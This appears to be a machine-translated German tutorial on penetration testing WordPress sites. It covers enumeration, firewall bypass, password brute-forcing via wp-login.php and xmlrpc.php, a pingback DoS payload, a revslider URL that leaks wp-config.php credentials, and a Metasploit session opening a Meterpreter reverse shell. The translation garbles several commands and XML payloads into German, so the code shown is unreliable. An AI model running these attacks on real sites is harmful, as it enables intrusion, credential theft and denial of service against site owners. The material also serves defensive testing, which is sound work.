Dieses Beispiel stammt aus der Quelle einer standardmäßigen WP-Installation der Version 3.5.2 und des Designs Twenty Teven. Aus dem Quell-HTML:

<meta name="generator" content="WordPress 3.5.2" /> 

Version in readme.html

Wenn das Meta-Tag deaktiviert wurde, überprüfen Sie das Vorhandensein von /readme.htmlvom Stammverzeichnis der Installation. Frühere Versionen von WordPress hatten die Version ganz oben in der ReadMe-Datei, neuere Versionen von WordPress haben die Version aus der Datei entfernt.

Version in der HTML-Quelle der Website

In der HTML-Quelle wird die Version oft als Parameter an Links angehängt javascriptund cssRessourcen, die die Seite lädt.

Je nach Plug-in ist dies nicht immer der Fall, und bei Websites mit minimiertem js und css sind diese Informationslecks möglicherweise nicht vorhanden.

Sicherheitslücken im WordPress Core

Ein Angreifer findet eine Seite mit einer älteren WordPress-Core-Version, wodurch diese möglicherweise direkt über eine Sicherheitslücke im WordPress-Core ausgenutzt werden kann. Und es ist ein klarer Hinweis darauf, dass die Website nicht gut gepflegt wird.

Bei einer schlecht verwalteten Website wurden möglicherweise andere Komponenten (Plugins / Themen) nicht aktualisiert. Dadurch hat sich die Chance auf einen erfolgreichen Angriff erheblich erhöht .

WordPress Plugin (und Version) Aufzählung

Während der WordPress-Plugin-Aufzählung versuchen wir, so viele installierte Plugins wie möglich zu finden (auch solche, die deaktiviert sind). Die Kenntnis der installierten WordPress-Plugins kann es uns ermöglichen, die Version zu identifizieren und zu untersuchen, ob sie für bekannte Exploits anfällig ist.

  • Die passive Analyse kann verwendet werden, um Plugins durch regelmäßige HTTP-Anfragen an die WordPress-Site zu finden.
  • Die aktive Aufzählung ist aggressiver und beinhaltet normalerweise die Verwendung eines Skripts oder Tools, um Hunderte oder sogar Tausende von größtenteils ungültigen HTTP-Anforderungen auszuführen.

Durch das Durchlesen der HTML-Quelle der WordPress-Site können installierte Plugins durchgelesen werden javascript links, Kommentare und Ressourcen wie CSSdie in die Seite geladen werden. Dies sind die am einfachsten zu entdeckenden Plugins und erfordern kein aggressives Testen der Zielseite. Sogar die HTTP-Header können Informationen preisgeben, wie z X-Powered-By-Header, der das Vorhandensein des W3-Total-Cache-Plugins offenbart .

Einige Plugins hinterlassen keine Spuren in der HTML-Quelle. Um alle installierten Plugins zu finden, müssen Sie aggressiver vorgehen. Eine Reihe von Tools können bekannte Plugin-Listen aus dem Pfad brutal erzwingen /wp-content/plugins/ * plugin to test * /. Die Antwort des Webservers zeigt normalerweise gültige Verzeichnisse (häufig mit HTTP 403 ) im Gegensatz zu unbekannten Verzeichnissen auf dem Webserver mit seinem HTTP-Antwortcode.

Sobald Sie eine Liste der Plugins haben, die auf der Website vorhanden sind, können Ihr WordPress-Scanner oder manuelle Anfragen verwendet werden, um die Version des Plugins zu ermitteln.

curl https://myvulnerablesite.com/wp-content/plugins/badplugin/readme.txt 

Im readme.txtWir können die Version des Plugins sehen. Vergleichen Sie dies mit bekannten Exploits und wir können eine gute Vorstellung davon bekommen, ob die Website anfällig ist, ohne den Exploit tatsächlich auszulösen.

WordPress-Theme-Aufzählung

Wie bei Plugins können WordPress-Designs Schwachstellen enthalten, die die Website einer Kompromittierung aussetzen könnten. Designs sind Sammlungen von PHP-Code mit HTML- und CSS-Ressourcen. mit Komplexere Designs enthalten mehr Komponenten und führen größerer Wahrscheinlichkeit zu Sicherheitslücken.

Die Aufzählung des Themes erfolgt ähnlich wie die Erkennung der Plugins. Der Themenpfad ist oft im HTML der Seitenquelle sichtbar. Die CSS-Datei, die vom Design geladen wird, zeigt oft den Pfad an.

Mit dem Pfad haben wir den Namen des Themas, und wir können das laden readme.txtum das verwendete Thema und die Version zu bestätigen.

curl http://examplewp.com/wp-content/themes/Avada/readme.txt 

Eine wichtige Überlegung beim Testen auf anfällige WordPress-Designs (und Plugins) ist, dass ein Design, das installiert, aber nicht aktiv ist, möglicherweise noch Code enthält, auf den zugegriffen werden kann und der anfällig ist. Aus diesem Grund ist Brute-Force-Testing für Themenpfade ein wichtiger Schritt bei der Bewertung einer unbekannten WordPress-Installation.

WordPress-Benutzer aufzählen

Wenn wir gültige Benutzernamen sammeln können, können wir Angriffe zum Erraten von Passwörtern versuchen, um die Anmeldeinformationen der Website brutal zu erzwingen. Der Zugriff auf ein Administratorkonto auf einer WordPress-Installation bietet dem Angreifer eine vollständige Kompromittierung der Website, der Datenbank und sehr oft der Remote-Code-Ausführung auf dem Server durch die PHP-Code-Ausführung.

Diese Benutzeraufzählungstechniken wurden WordPress.org als Sicherheitslücken gemeldet, die Entwickler stufen den Benutzernamen jedoch nicht als sensibel ein und sind bereit, das Risiko über die erhöhte Benutzerfreundlichkeit einzugehen. Beispielsweise die Benachrichtigung der Benutzer, wenn der Benutzer falsch liegt oder das Passwort falsch ist.

Autorenarchiv

In einer Standardinstallation sollten Sie in der Lage sein, die Benutzer einer Website zu finden, indem Sie die Benutzer-IDs durchlaufen und an die URL der Website anhängen. Zum Beispiel /?author=1, das Hinzufügen von 2, dann 3 usw. zur URL zeigt die Anmelde-ID des Benutzers entweder über eine 301-Umleitung mit einem Standort-HTTP-Header

curl http://wordpresseexample.com/?author=1 

Dieser Beitrag hat eine Methode zum Durchlaufen der WordPress-Benutzer mit a bashEinzeiler.

Bestätigen Sie gültige Benutzer mit dem Anmeldeformular

Benutzer durch Raten aufzählen

Brute Forcen des Benutzernamens ist über das Anmeldeformular möglich, da die Antwort für ein gültiges und ein ungültiges Konto unterschiedlich ist.

Dies kann manuell durchgeführt werden, um einen einzelnen Benutzer zu überprüfen, oder mithilfe eines automatisierten Tools wie Burp Intruder, um Tausende von möglichen Benutzernamen zu durchlaufen.

Benutzer, die im JSON-API-Endpunkt aufgeführt sind

Verwendung einer jsonendpoint ist es möglich, eine Liste der Benutzer auf der Website abzurufen. Dies wurde in Version 4.7.1 darauf beschränkt, nur einen Benutzer anzuzeigen, wenn dies konfiguriert wurde, davor wurden standardmäßig alle Benutzer angezeigt, die einen Beitrag veröffentlicht hatten.

curl http://wordpresseexample.com/wp-json/wp/v2/users 

Sehen Sie sich die WordPress-Sicherheitstest-Tools unten für die automatisierte Benutzeraufzählung an.

Verzeichnisindizierung

Verzeichnisindizierung im Plugin-Verzeichnis aktiviert

Die Verzeichnisindizierung ist eine Funktion des Webservers, mit der Sie den Inhalt eines Verzeichnisses im über das Internet zugänglichen Pfad anzeigen können.

Durch das Anzeigen des Inhalts eines Verzeichnisses kann ein Angreifer viele Informationen über die Installation sammeln, z. B. installierte Plugins und Designs, ohne die Pfade brutal erzwingen zu müssen.

Um nach einer Verzeichnisindizierung zu suchen, können Sie nach Ordnerpfaden suchen und sehen, ob Sie eine Antwort erhalten, die „Index Of“ und eine Liste von Ordnern/Dateien enthält. Häufig zu überprüfende Orte wären:

/wp-content/
 /wp-content/plugins/
 /wp-content/themes/
 /hochgeladen/
 /bilder/ 

Wenn Sie durchsuchen können /wp-content/plugins/– die Aufzählung von Plugins und Versionen wird viel einfacher!

Server-Schwachstellentests

In dieser Phase gehen wir dazu über, Netzwerkdienste zu testen, anstatt die WordPress-Installation direkt zu testen. Port-Scanning ist die Standardtechnik zur Erkennung von Netzwerkdiensten, die auf dem Server ausgeführt werden.

Dienste, die auf einem WordPress-Host vorhanden sein könnten:

  • Remote-Zugriff auf MySQL-Server (Port 3306)
  • Anmeldeportal für die CPANEL-Administration (Port 2082 / 2083)
  • Webmin-Administration (Port 10000)
  • FTP-Dienst für den Zugriff auf das Dateisystem
  • SSH für die Fernsteuerung
  • Andere Webdienste mit Admin- oder anderen Seiten (Port 8080 / 8888 usw.)

Jeder der Dienste kann den Zugriff oder die Kontrolle des Servers entweder durch eine Sicherheitslücke oder ein kompromittiertes Passwort ermöglichen. Das Scannen von Ports kann mit dem hervorragenden Nmap Port Scanner oder einem alternativen Sicherheitstool durchgeführt werden.

Als Fortsetzung unserer Aufzählung von Netzwerkdiensten mit dem Port-Scanner könnten wir Schwachstellen-Scans für die entdeckten Dienste durchführen, um ausnutzbare Dienste oder andere interessante Elemente zu identifizieren.

OpenVAS Vulnerability Scanner

Der Greenbone Vulnerability Manager (GVM) (früher bekannt als OpenVAS) ist eine Option, dies ist ein Open-Source-Schwachstellenscanner, der lokal installiert werden kann, oder Enterprise-Appliances sind ebenfalls von Greenbone Networks erhältlich. Wir hosten auch den Open-Source- OpenVAS-Scanner zum Testen von über das Internet zugänglichen Zielen als Teil unserer Sicherheitstestplattform.

Nikto Vulnerability Scanner

Nikto ist ein weiterer Schwachstellen-Scanner, der sich auf die Entdeckung bekannter anfälliger Skripte, Konfigurationsfehler und anderer interessanter Webserver-Elemente konzentriert. Das Nikto-Tool gibt es schon seit vielen Jahren, aber es hat immer noch einen Platz in der Toolbox von Penetrationstestern.

Tools wie dieses werfen Zehntausende von Tests gegen das Ziel, um bekannte Schwachstellen und andere niedrig hängende Früchte zu entdecken. Es ist ein lauter Prozess, der die Protokolle des Zielsystems mit 404-Fehlern und anderen Fehlern füllt. Nicht empfohlen, wenn Sie einen Ziel-Ninja-Stil verfolgen (Pentest / rotes Team).

Umgehen Sie die Web-Firewall von Sucuri oder CloudFlare

Viele WordPress-Sites entscheiden sich für Dienste von Drittanbietern, um die Site vor Angriffen zu schützen, indem sie einen webbasierten Firewall-Proxy verwenden. Ein Dienst wie Sucuri oder CloudFlare befindet sich zwischen dem Browser der Benutzer und der WordPress-Site. Angriffe auf die Site können von der Firewall erkannt und blockiert werden.

Die Firewall leitet den Datenverkehr mithilfe von DNS weiter. Das DNS der Site ist auf Server gerichtet, die zu Sucuri oder CloudFlare gehören, sodass der Benutzer (oder Angreifer) den Hostnamen auflöst und eine Verbindung zur IP des Firewall-Systems herstellt.

Wenn wir die echte IP-Adresse des Servers ermitteln und einen Eintrag zu unserer Hosts-Datei hinzufügen, können wir die Firewall umgehen und direkt zu dem Webserver gehen, der die Site hostet. Dies ist von Bedeutung, wenn die Website nicht gut gewartet wird und sich auf den Schutz der Firewall verlässt. Beispielsweise kann ein anfälliges Plugin vorhanden sein, aber von der Firewall blockiert werden. Wir umgehen die Firewall, nutzen das anfällige Plugin und den Server aus.

Überprüfen von DNS-Einträgen

Die Verwendung von DNS-Einträgen ist die effektivste Methode, um die echte IP-Adresse zu identifizieren, um eine Website zu umgehen, die hinter Sucuri oder CloudFlare gehostet wird.

  • Historische DNS-Einträge zeigen möglicherweise die ursprüngliche IP-Adresse, bevor der Firewall-Dienst implementiert wurde.
  • Mail Records (MX), wenn E-Mails auf demselben Server wie die Website gehostet werden, zeigt dies den echten Host an
  • TXT SPF, Aufzeichnungen können auch IP-Adressen von Interesse enthüllen

Suche nach TLS/SSL-Zertifikaten

Historische TLS/SSL- Suchen können auch echte Hostnamen finden, die mit der tatsächlichen IP-Adresse der Website verknüpft sind, wenn sie übereinstimmen können.

Andere Aufklärungstechniken können Hostnamen und IP-Adressen von Interesse aufdecken.

Sobald Sie eine IP-Adresse haben, von der Sie vermuten, dass sie die IP-Adresse sein könnte, fügen Sie sie zu Ihrer hinzu /etc/hostsDatei mit dem Hostnamen der Site. Dadurch wird Ihr System gezwungen, DNS zu umgehen und direkt die IP-Adresse zu verwenden. Wenn die Website geladen wird, besteht eine gute Chance, dass dies die richtige IP-Adresse ist.

WPScan

WPScan ist ein beliebtes WordPress-Sicherheitstesttool, das viele dieser einfachen Aufzählungstechniken miteinander verbindet. Es ermöglicht Benutzern, eine WordPress-Installation schnell aufzuzählen, und verfügt über eine kommerzielle Lizenz, die die Verwendung zum Testen Ihrer eigenen WordPress-Sites und die nicht-kommerzielle Nutzung einschränkt.

Es versucht, abhängig von den ausgewählten Befehlszeilenoptionen, Benutzer, Plugins und Designs zu identifizieren, und zeigt auch Schwachstellen für jedes der entdeckten Plugins an.

Anleitung zur Installation von WPScan

Nmap NSE-Skripte für WordPress

Nmap wird mit NSE-Skripten geliefert, die die Funktionalität dieses beliebten Port-Scanners erweitern. Einige der Nmap NSE-Skripte sind besonders hilfreich, um WordPress-Benutzer, Plugins und Themes mit denselben Techniken aufzuzählen, die wir zuvor besprochen haben.

Das Beste an dieser Option ist, wenn Sie Nmap installiert haben, haben Sie diese Skripte bereits einsatzbereit.

WordPress Plugin und Theme Enum NSE ScriptWordPress Brute Force NSE Script
WordPress User Enum NSE-Skript

Beispiel für eine Plugin- und Theme-Aufzählung

HAFENSTAATSDIENST
 80/tcp öffnen http
 |  http-wordpress-enum:
 |  Die Suche ist auf die 100 besten Themen/Plugins beschränkt
 |  Plugins
 |  akismet
 |  Kontaktformular-7 4.1 (neueste Version: 4.1)
 |  All-in-One-SEO-Paket (neueste Version: 2.2.5.1)
 |  Google-Sitemap-Generator 4.0.7.1 (neueste Version: 4.0.8)
 |  Jetpack 3.3 (neueste Version: 3.3)
 |  Wordfence 5.3.6 (neueste Version: 5.3.6)
 |  better-wp-security 4.6.4 (neueste Version: 4.6.6)
 |  google-analytics-for-wordpress 5.3 (neueste Version: 5.3)
 |  Themen
 |  zwanzig zwölf
 |_ vierundzwanzig 

CMSMap

Ein weiteres Tool zur Aufzählung von WordPress-Installationen ist CMSMap .

CMSMap testet WordPress sowie Joomla, Drupal und Moodle.

Wie bei jedem dieser Aufzählungstools ist es wichtig, es auf dem neuesten Stand zu halten. Wenn die Themen- und Plug-in-Listen nicht regelmäßig aktualisiert werden, denken Sie daran, dass die neuesten Komponenten möglicherweise nicht erkannt werden.

Angriff & Ausbeutung

Brute Force wp-login.php-Formular

Der häufigste Angriff auf den WordPress-Benutzer besteht darin, das Kennwort eines Kontos brutal zu erzwingen, um Zugriff auf das Back-End des WordPress-Systems zu erhalten. Andere Möglichkeiten, wie ein Passwort kompromittiert werden kann, sind das Schnüffeln des Passworts im Klartext über eine HTTP-Anmeldesitzung oder sogar das Abrufen der Anmeldeinformationen von einem Keylogger auf der Workstation des WordPress-Administrators.

Konten mit Zugriff auf Administratorebene sind aufgrund der Menge an Unfug, die ein Admin-Benutzer anstellen kann, am begehrtesten; hinzufügen PHP command shellsoder böswillig javascriptdirekt über die Admin-Oberfläche sind gängige Beispiele.

Mit den Benutzernamen, die wir beim Sammeln von Informationen gesammelt haben, können wir loslegen (oder es einfach versuchen admin). Schauen Sie sich das Anmeldeformular an /wp-login.php, beachten Sie, wie fehlgeschlagene Anmeldungen den Benutzernamen bestätigen, wenn ein falsches Passwort eingegeben wird. Diese Informationen sind für einen Angreifer hilfreich. Es macht die Dinge auch benutzerfreundlicher für den Endbenutzer, der seinen Benutzernamen und sein Passwort vergessen hat. Dieses „Feature“ wurde diskutiert, und es wurde beschlossen, diese Antwort im WordPress-Code beizubehalten.

3 Tools zum Knallen schwacher Passwörter

Brute-Forcing-Konten von Benutzern sind mit einer Reihe von Open-Source-Tools möglich. Darüber hinaus sind wurmähnliche Skripte verfügbar, die sich im WordPress-Ökosystem verbreitet haben. Diese suchen und verbreiten sich auf WordPress-Seiten mit schwachen Admin-Passwörtern.

WPScan

Das zuvor erwähnte WPScan-Tool kann neben der Aufzählung auch Brute-Force-Login-Angriffe durchführen.

Hier ist eine Beispielausgabe eines Tests, den ich mit WPScan gegen ein Low-End- VPS von Digital Ocean ($ 5 / Monat) durchgeführt habe, bei dem ich eine Standardinstallation von WordPress installiert hatte.

ruby wpscan.rb -u 192.241.xx.x68 --threads 20 --wordlist 500worst.txt --username testadmin

 ********* SNIP *****************

 [+] Starten des Passwort-Brute-Forcers

   Brute-Force-Force-Benutzer 'testadmin' mit 500 Passwörtern ... 100 % vollständig.
 [+] Beendet am Do, 18. Juli 03:39:02 2013
 [+] Verstrichene Zeit: 00:01:16
 

Überprüfen der Ausgabe

500 Passwörter, die für das Konto „testadmin“ getestet wurden (entdeckt während der Benutzeraufzählung). Diese 500 Passwörter wurden in 1 Minute und 16 Sekunden getestet! Während der Test lief, gab es keine Unterbrechung der Website. Ein Webserver-Administrator hätte keine Ahnung, dass der Angriff ohne ein Sicherheitsprotokoll-Überwachungssystem stattgefunden hat ( OSSEC macht das sehr gut).

Die oben verwendete Liste der 500 schlechtesten Passwörter stammt von Skull Security . Die Website verfügt über eine große Anzahl von Passwortlisten, einschließlich der bekannten rockyouListe (60 MB), die weit mehr als 500 Passwörter enthält!

Nmap NSE-Skript

Nmap, der Port-Scanner , kann viel mehr, als offene Ports zu finden. Neuere Versionen von Nmap werden mit NSE-Skripten geliefert. Infolgedessen kann es verwendet werden, um viele verschiedene Schwachstellen zu testen. Zum Beispiel das Aufzählen von Benutzern und Brute-Force-WordPress-Passwörter.

nmap -sV --script http-wordpress-enum --script-args limit=25 PORT STATE SERVICE GRUND
 80/tcp öffnen http syn-ack
 |  http-wordpress-enum: 
 |  Benutzername gefunden: admin
 |  Benutzername gefunden: testadmin
 |  Benutzername gefunden: fred
 |  Benutzername gefunden: alice
 |  Benutzername gefunden: bob
 |_Suche bei ID #25 gestoppt.  Erhöhen Sie bei Bedarf die Obergrenze mit 'http-wordpress-enum.limit'
 

Die obige Ausgabe zeigt einen Beispiellauf mit dem NSE-Skript http-wordpress-enum zum Aufzählen von WordPress-Benutzern.

PORT STATE SERVICE GRUND
 80/tcp öffnen http syn-ack
 |  http-wordpress-brute:
 |  Konten
 |  testadmin:myS3curePass => Anmeldung korrekt
 |  Statistiken
 |_ 113 Versuche in 19 Sekunden durchgeführt, durchschnittliche tps: 6 

Oben sind die Ergebnisse von Brute-Force-WordPress-Konten mit dem NSE-Skript http-wordpress-brute .

Burp-Suite

Für diejenigen, die mit Sicherheitstests für Webanwendungen vertraut sind, kann das Burp Suite Intruder-Tool auch zum Brute-Forcing von WordPress-Passwörtern verwendet werden. Ein WordPress-Anmeldeversuch ist nur eine HTTP-POST- Anfrage. schließlich

Konfigurieren Sie Burp Intruder so, dass es einen gültigen Benutzernamen (oder eine Liste von Benutzernamen) zusammen mit einer Liste möglicher Passwörter sendet und auf die erfolgreiche Anmeldung wartet.

Brute-Force-Anmeldung über xmlrpc.php

Das xmlrpc.phpFähigkeit ist ein API-Endpunkt. Dieser Endpunkt ermöglicht mobilen Apps und anderen programmierbaren Zugriffen auf Backend-Funktionen der WordPress-Site, z. B. das Veröffentlichen von Beiträgen. Es ist standardmäßig aktiviert. Je nach Berechtigungen und der Version der Ziel-WordPress-Installation sind mehrere Angriffe gegen den Endpunkt möglich.

Verwendung der xmlrpc.phpEndpunkt, um WordPress-Konten anzugreifen, können wir Sicherheits-Plugins umgehen, die das Anmeldeformular vor Missbrauch schützen. Dieser Angriff zum Erraten von Passwörtern kann auch schneller sein, was dazu führt, dass Sie mehr Passwörter versuchen können.

Beachten Sie die -d, In curl, dies sind die Daten, die als Teil der POST-Anforderung gesendet werden. Sie können für diese Anfrage auch Burp oder Ihre bevorzugte Skriptsprache verwenden.

curl  -X POST  -d  "<methodCall><methodName>wp.getUsersBlogs</methodName><params> 
  <param><value>admin</value></param><param><value>pass</value></param></params></methodCall>" http://examplewp.com/xmlrpc.php 

In der Antwort sehen wir eine ungültige Passwortantwort oder einen Erfolg. Es ist leicht zu erkennen und in Ihr Skript einzuarbeiten.

Denial of Service (DOS) über xmlrpc.php

Eine weitere Verwendung des xmlrpc.phpEndpunkt soll einen Denial-of-Service-Angriff durchführen. Wenn diese Funktion aktiviert ist, können wir eine kleine Anfrage an den Server senden und ihn dazu bringen, mit einer ganzen Seite Inhalt an ein Ziel unserer Wahl zu antworten. Die Idee ist, mehrere Anfragen von verschiedenen Systemen zu stellen und sie alle auf einen einzigen Host zu richten. Potenziell wird es aufgrund einer Netzwerküberlastung offline geschaltet.

Zuerst zählen wir die Fähigkeiten der auf xmlrpc.phpEndpunkt.

curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://examplewp.com/xmlrpc.php 

Die Antwort ist eine Liste der verfügbaren Methoden.

<?xml version="1.0" encoding="UTF-8"?>
 <Methodenantwort>
   <Parameter>
     <param>
       <Wert>
       <Array><Daten>
   <value><string>system.listMethods</string></value>
   <value><string>system.getCapabilities</string></value>
   <value><string>pingback.extensions.getPingbacks</string></value>
   <value><string>pingback.ping</string></value>
   <value><string>mt.publishPost</string></value>
 **** abgeschnitten ****
 

Beachten Sie, dass pingback.ping anzeigt, dass Pingback aktiviert ist. Verwenden Sie die folgenden Daten für den Pingback-Versuch.

<methodCall>
 <Methodenname>pingback.ping</Methodenname>
 <params><param>
 <value><string>http://**Denial-of-Service-Ziel**:**Portnummer**</string></value>
 </param><param><value><string>http://**blog-url-von-wp**</string>
 </value></param></params>
 </methodCall> 

Deaktivieren des Zugriffs auf xmlrpc.phpvon Ihrem Webserver oder mit .htaccesswird empfohlen, wenn Sie die API nicht verwenden. Es blockiert nicht nur alle Angriffe, sondern reduziert auch die Menge an Rauschen in Ihren Protokollen von den Bots, die versuchen, diese API-Endpunkte zu treffen.

Nutzen Sie das WordPress-Plugin

Plugins, Themes und WordPress Core enthalten alle eine große Menge PHP-Code von Entwicklern aus der ganzen Welt. Diese Entwickler haben unterschiedliche Fähigkeiten und Schwerpunkte, wenn es darum geht, sichere Software zu schreiben. Aus diesem Grund stehen einem Angreifer Tausende von ausnutzbaren Schwachstellen zur Verfügung. Das Aktualisieren von Plugins, dem WordPress-Kern und Themes muss für jeden WordPress-Administrator eine Routineaufgabe sein, um sicherzustellen, dass die bekannten Schwachstellen gepatcht werden .

Häufige Schwachstellen sind XSS, SQL-Injection, Dateiupload und Codeausführung. All dies kann verheerende Folgen für eine WordPress-Site haben. Durchsuchen Sie Metasploit und Exploit-db.com nach ausnutzbaren WordPress-Bugs.

Revslider Beispiel-Exploit

Ein Beispiel für einen WordPress-Plugin-Exploit ist eine vor 5 Jahren entdeckte Schwachstelle. Das anfällige revslider-Plugin führte zu Zehntausenden kompromittierter WordPress-Sites. Bis heute gibt es Versuche, es in unseren Webserver-Protokollen auszunutzen, sogar im Jahr 2019. Ein Grund dafür, dass es ein so beliebtes Plugin war, ist, dass es mit vielen Themen gebündelt war.

Eine Reihe von Nutzungsmöglichkeiten sind möglich, aber dies ist vielleicht am einfachsten zu demonstrieren. Die Ausbeutung ist so schwierig wie das Laden dieser URL in einem Browser.

https://examplewp.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php 

Die HTTP-Anforderung würde die herunterladen wp-config.phpDatei von der anfälligen Site, wenn sie die ausnutzbare Version von hatte revsliderEingerichtet. Der Exploit-Typ wird als Local File include bezeichnet , da der Angreifer den Anwendungscode dazu verleitet, eine vertrauliche Datei in die Ausgabe aufzunehmen. Der wp-config.phpist normalerweise nicht zugänglich und enthält die Datenbankanmeldeinformationen für den WordPress-Datenbankbenutzer.

anzumelden Mit dem Datenbankpasswort könnte ein Angreifer versuchen, sich mit demselben Passwort als WordPress- Administrator (wenn Passwörter wiederverwendet würden). Ein häufigerer Angriffsvektor wäre die Anmeldung beim phpmyadmin-Skript, falls installiert, da dieses die Datenbankanmeldeinformationen verwendet. Wenn MySQL verfügbar ist, ist es möglicherweise sogar möglich, sich mit a direkt mit der Datenbank zu verbinden MySQLDatenbankclient und die durchgesickerten Anmeldeinformationen.

Der Zugriff auf die Datenbank bietet dem Angreifer die Möglichkeit, das Administratorpasswort zurückzusetzen, zu versuchen, den Admin-Hash zu knacken, Inhalte in der Datenbank zu ändern, bösartige js oder iframes hinzuzufügen . Es gibt viele Möglichkeiten zur weiteren Nutzung, sobald die Anmeldeinformationen vorliegen wp-config.phpsind durchgesickert.

Exploit WordPress-Theme-Beispiel

Exploits sind an verschiedenen Orten und in Foren verfügbar. Dieses Beispiel verwendet einen Exploit aus dem beliebten Metasploit Exploitation Framework. Das anfällige Thema ist das sehr beliebte optimizepress . Die Schwachstelle wurde bereits 2013 veröffentlicht und Versionen nach 1.45 sind für diesen Exploit nicht anfällig.

Mit Standard-Metasploit-Befehlen können wir das Modul laden, die Optionen konfigurieren, eine Nutzlast auswählen und ausnutzen. Das Ergebnis ist ein Shell-Zugriff auf den Server mit nur wenigen Minuten Arbeit.

In diesem Beispiel ist der Schwachstellentyp eine Datei-Upload-Schwachstelle in media-upload.phpdes Themas. Durch Ausnutzen der Schwachstelle können wir eine PHPShell oder anderen Code, der uns Codeausführung gibt.

Beispiel für das Hochladen einer WordPress-Metasploit-Datei

Ein wichtiger Punkt, an den Sie sich hier erinnern sollten, ist: Die Identifizierung der Plugins und Themes ist der erste Schritt bei einem gezielten Angriff, bei dem eine WordPress-Site ausgenutzt wird.

Zahlreiche Bots und automatisierte Angriffsskripte, die WordPress-Sites ausnutzen, führen die Aufzählungsphase nicht durch. Sie treiben Exploits auf Tausenden von Websites voran und hoffen auf eine erfolgreiche Payload.

Nicht aktivierte Plugins und Themes können ausgenutzt werden. Das Scannen nach Standardspeicherorten dieser anfälligen Dateien ist ein sehr häufiger Angriff durch automatisierte Bots .

Nutzung des WordPress-Kerns

Schwachstellen im WordPress-Kern tauchen von Zeit zu Zeit auf. Während remote nicht authentifizierte Schwachstellen relativ selten sind, täte jeder Angreifer gut daran, sich mit den besser ausnutzbaren Schwachstellen in WordPress Core vertraut zu machen.

Die Liste der Schwachstellen auf cvedetails.com ist ein guter Anhaltspunkt und zeigt, dass die Schwere der entdeckten Schwachstellen im Vergleich zum Stand der Dinge vor 5 Jahren viel geringer war.

Beispiel für die Nutzung von CVE-2019-8942 und CVE-2019-8943

Unter Verwendung von Metasploit zeigt dieses Beispiel die Ausnutzung von Schwachstellen in WordPress-Versionen <= 4.9.8 und WordPress 5.0.0. Mit diesem Exploit erreichen wir die Ausführung willkürlichen Codes über eine zentrale Schwachstelle, die eine Pfadüberquerung und eine lokale Dateieinbindung kombiniert. Wenn der Angreifer Zugriff auf ein Konto mit mindestens Autorenrechten hat, ist die Codeausführung wahrscheinlich möglich.

Im Folgenden wird der Standard-Metasploit-Nutzungsprozess unter Verwendung von beschrieben wp_crop_rceModul. Der PHP Meterpreter ist ein Remote-Agent, der dem Angreifer die Möglichkeit gibt, Befehle auszuführen und Dateien auf das Zielsystem hoch-/herunterzuladen.

msf5 > verwenden Sie Exploit/unix/webapp/wp_crop_rce
 msf5 Exploit (unix/webapp/wp_crop_rce) > setze rhosts 127.0.0.1
 rhosts => 127.0.0.1
 msf5-Exploit (unix/webapp/wp_crop_rce) > Benutzernamen-Autor festlegen
 Benutzername => Autor
 msf5 Exploit (unix/webapp/wp_crop_rce) > Passwortautor festlegen
 Passwort => Autor
 msf5-Exploit (unix/webapp/wp_crop_rce) > ausführen

 [*] Reverse-TCP-Handler auf 127.0.0.1:4444 gestartet 
 [*] Authentifizierung bei WordPress mit Autor:Autor...
 [+] Mit WordPress authentifiziert
 [*] Nutzlast wird vorbereitet...
 [*] Überprüfe die Crop-Bibliothek
 [*] Nutzlast wird hochgeladen
 [+] Bild hochgeladen
 [*] Nutzlast wird hochgeladen
 [+] Bild hochgeladen
 [*] Einschließlich in Thema
 [*] Sendestufe (38247 Bytes) an 127.0.0.1
 [*] Meterpreter-Sitzung 1 geöffnet (127.0.0.1:4444 -> 127.0.0.1:36568) am 19.03.2019 11:33:27 -0400

 meterpreter > sysinfo
 Rechner: ubuntu
 OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Mi Feb 6 09:33:07 UTC 2019 x86_64
 Meterpreter: php/linux 

Nicht authentifizierte Inhaltsinjektion in WordPress 4.7.0 und 4.7.1

In dieser Schwachstelle aus dem Jahr 2017 kann ein Angreifer Inhalte in einen Beitrag einfügen, indem er die wp-jsonAPI.

WordPress 4.7/4.7.1Remote-Injektion von nicht authentifizierten Inhalten

Sniff und Capture Credentials über nicht sichere Anmeldung

Ohne zusätzliche Sicherheitsmaßnahmen ( TLS/SSL), Zugriff auf die /wp-admin/Dashboard erfolgt über eine unverschlüsselte Verbindung. Das bedeutet, wenn Sie sich in einem ungesicherten Netzwerk wie dem WLAN Ihres örtlichen Cafés oder Flughafens bei Ihrer WordPress-Site anmelden, könnten Ihr Login und Ihr Passwort zur Verwaltung der Site von einem Angreifer erfasst werden, der Ihre Sitzung beobachtet.

In diesem Beispiel für die Wireshark-Erfassung sehen wir deutlich den Benutzernamen und das Passwort, die in unserer POST-Anforderung an erfasst wurden wp-login.php.

WordPress-Passwort in Wireshark Capture

Anfällige Serversoftware

Das Testen der WordPress-Anwendung selbst ist nur ein Teil der Gewährleistung der Sicherheit Ihrer Website. Der Server, der die Website hostet, muss ebenfalls sicher gehalten werden.

Ausnutzbare Sicherheitslücken können natürlich auch in Serversoftware oder dem Betriebssystem vorhanden sein. Beispiele finden Sie auf jeder Schwachstellen-Mailingliste. eine Schwachstelle bezüglich Remote-Code-Ausführung Kürzlich wurde in Exim gefunden . Exim ist einer der beliebtesten E-Mail-Zustellungsserver im Internet. PHPMyAdmin ist aufgrund seiner Beliebtheit und einer langen Liste von Schwachstellen eine beliebte Angriffsanwendung.

Fehlkonfiguration der Serversoftware

Selbst wenn keine ausnutzbare Schwachstelle vorhanden ist, kann eine einfache Fehlkonfiguration einen Dienst angreifbar machen. Oft werden Sicherheitslücken einfach durch eine Fehlkonfiguration durch einen überarbeiteten Systemadministrator eingeführt.

Kompromittierung von Systemverwaltungstools

Ein erfolgreicher Passwort-Rate-Angriff auf ein Serververwaltungskonto gibt einem Angreifer vollen Zugriff auf den Server und die WordPress-Anwendung.

Zu den Diensten, die mit Brute-Force-Passworterraten angegriffen werden können, gehören:

  • SSH-Dienst
  • MySQL-Datenbankdienst
  • Webmin-Serververwaltung
  • CPanel oder WHCMS Webhosting Control Panels
  • phpMyAdmin Datenbankverwaltungsanwendung
Reduzieren Sie die Wahrscheinlichkeit einer Kompromittierung des Verwaltungskontos:

  • Verwenden Sie überall sichere Passwörter, verwenden Sie sie nicht erneut!
  • Verschieben Sie SSH auf einen anderen Port
  • Verwenden Sie TLS/SSL für webbasierte Verwaltungsdienste, um Sniffing und die Kompromittierung von Anmeldeinformationen zu verhindern
